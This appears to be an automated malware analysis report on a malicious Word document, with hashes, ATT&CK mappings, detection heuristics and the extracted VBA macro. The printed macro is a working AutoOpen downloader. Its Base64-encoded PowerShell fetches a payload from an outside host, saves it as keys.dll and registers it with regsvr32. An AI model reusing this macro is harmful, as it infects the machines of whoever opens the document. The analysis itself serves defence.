Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 52c697138cc96fb8…

MALICIOUS

Office (OLE)

68.5 KB Created: 2019-08-06 09:17:00 Authoring application: Microsoft Office Word First seen: 2020-07-24
MD5: c3a48641c522e38618ec39d52a8004c8 SHA-1: eef12f7f1a09a21ef2787831c7e8ed04579c058e SHA-256: 52c697138cc96fb8dd67954ef8449d92531d9bead8bfd33929f4e997c79532ce
344 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro executes a Base64-decoded PowerShell command that attempts to download a file from a URL and save it as 'keys.dll' in the user's profile. This indicates the document is a downloader for a second-stage payload.

Heuristics 10

  • ClamAV: Doc.Malware.Generic-7615216-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Generic-7615216-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3614 bytes
SHA-256: bdc98b404b2daff61df4d617710dfbd1f7d106640dee4e70762196957f4487a2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function LZF_956854CB8FEF700DF2E48A96C503615BEF49B23E(data, encoder)
    With CreateObject("Msxml2.DOMDocument").CreateElement("tmp")
        .dataType = encoder
        .Text = data
        LZF_956854CB8FEF700DF2E48A96C503615BEF49B23E = .nodeTypedValue
    End With
End Function

Sub AutoOpen()
'There was nothing so VERY remarkable in that; nor did Alice
'think it so VERY much out of the way to hear the Rabbit say to
'itself, `Oh dear!  Oh dear!  I shall be late!'  (when she thought
'it over afterwards, it occurred to her that she ought to have
'wondered at this, but at the time it all seemed quite natural);
'but when the Rabbit actually TOOK A WATCH OUT OF ITS WAISTCOAT-
'POCKET, and looked at it, and then hurried on, Alice started to
'her feet, for it flashed across her mind that she had never
'before seen a rabbit with either a waistcoat-pocket, or a watch to
'take out of it, and burning with curiosity, she ran across the
'field after it, and fortunately was just in time to see it pop
'down a large rabbit-hole under the hedge.
Dim fso As Object
'Either the well was very deep, or she fell very slowly, for she
'had plenty of time as she went down to look about her and to
'wonder what was going to happen next.  First, she tried to look
'down and make out what she was coming to, but it was too dark to
'see anything; then she looked at the sides of the well, and
'noticed that they were filled with cupboards and book-shelves;
'here and there she saw maps and pictures hung upon pegs.  She
'took down a jar from one of the shelves as she passed; it was
'labelled `ORANGE MARMALADE', but to her great disappointment it
'was empty:  she did not like to drop the jar for fear of killing
'somebody, so managed to put it into one of the cupboards as she
'fell past it.
LZF_AA5F613A8F696FF49D1929B215C39E509CE59747 = LZF_956854CB8FEF700DF2E48A96C503615BEF49B23E("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwAlAFUAVQBVAFUAJQAiACAALQBPAHUAdABGAGkAbABlACAAJABFAE4AVgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQBcAGsAZQB5AHMALgBkAGwAbAAiAA==", "bin.base64")
'Down, down, down.  Would the fall NEVER come to an end!  `I
'wonder how many miles I've fallen by this time?' she said aloud.
'`I must be getting somewhere near the centre of the earth.  Let
'me see:  that would be four thousand miles down, I think--' (for,
'you see, Alice had learnt several things of this sort in her
'lessons in the schoolroom, and though this was not a VERY good
'opportunity for showing off her knowledge, as there was no one to
'listen to her, still it was good practice to say it over) `--yes,
'that 's about the right distance--but then I wonder what Latitude
'or Longitude I've got to?'  (Alice had no idea what Latitude was,
'or Longitude either, but thought they were nice grand words to
'say.)

Shell Replace(LZF_AA5F613A8F696FF49D1929B215C39E509CE59747, "%UUUU%", "4niza1ur6fu.com/xvrr7zok/6x2jrg.php?l=cez7.cab")
Shell LZF_956854CB8FEF700DF2E48A96C503615BEF49B23E("cABvAHcAZQByAHMAaABlAGwAbAAgAC0AQwBvAG0AbQBhAG4AZAAgACIAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAANQAwAAoAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgACQAZQBuAHYAOgBVAHMAZQByAHAAcgBvAGYAaQBsAGUAXABrAGUAeQBzAC4AZABsAGwAIgA=", "bin.base64"), 0

End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.